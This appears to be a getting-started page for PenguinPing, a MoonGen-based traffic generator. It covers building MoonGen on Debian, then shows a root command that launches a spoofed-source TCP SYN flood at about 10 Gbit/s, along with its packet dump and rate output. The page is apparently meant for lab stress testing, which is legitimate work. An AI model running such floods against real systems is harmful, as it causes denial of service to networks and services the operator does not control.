Welcome

Getting started

Start by reading up on MoonGen – the basic tool and library used.

I have used Debian Linux as the main system for testing and running the tools. YMMV.

  1. Just clone the MoonGen source into some project folder, I like projects
  2. Install pre-requisites – kernel headers etc.
  3. Follow their instructions for running ./build.sh
  4. Configure huge tables

Running PenguinPing

When you have MoonGen built, you can run their examples, or try out the basic flooding attacks using Lua.

Don’t forget to run as root!

root@penguin01:~/projects/MoonGen# ./build/MoonGen ./examples/penguinping-02.lua 10.0.49.1 -a 10.1.2.3 -r 10000 -S -p 80
[INFO]  Initializing DPDK. This will take a few seconds...
[INFO]  Found 2 usable devices:
   Device 0: 00:25:90:32:9F:F2 (Intel Corporation 82599ES 10-Gigabit SFI/SFP+ Network Connection)
[INFO]  Device 0 (00:25:90:32:9F:F2) is up: 10000 MBit/s
TCP mode get TCP packet
IP4 10.1.2.3 > 10.0.49.1 ver 4 ihl 5 tos 0 len 46 id 0 flags 0 frag 0 ttl 64 proto 0x06 (TCP) cksum 0x0000 [-]
TCP 52049 > 80 seq# 1 ack# 0 offset 0x5 reserved 0x00 flags 0x02 [-|-|-|-|SYN|-] win 10 cksum 0x0000 urg 0 []
  0x0000:   0000 0000 0000 0025 9032 9ff2 0800 4500
  0x0010:   002e 0000 0000 4006 0000 0a01 0203 0a00
  0x0020:   3101 cb51 0050 0000 0001 0000 0000 5002
  0x0030:   000a 0000 0000 0000 0000 0000

[Device: id=0] TX: 14.88 Mpps, 7619 Mbit/s (9999 Mbit/s with framing)
[Device: id=0] TX: 14.78 Mpps, 7568 Mbit/s (9933 Mbit/s with framing)
[Device: id=0] TX: 14.88 Mpps, 7619 Mbit/s (10000 Mbit/s with framing)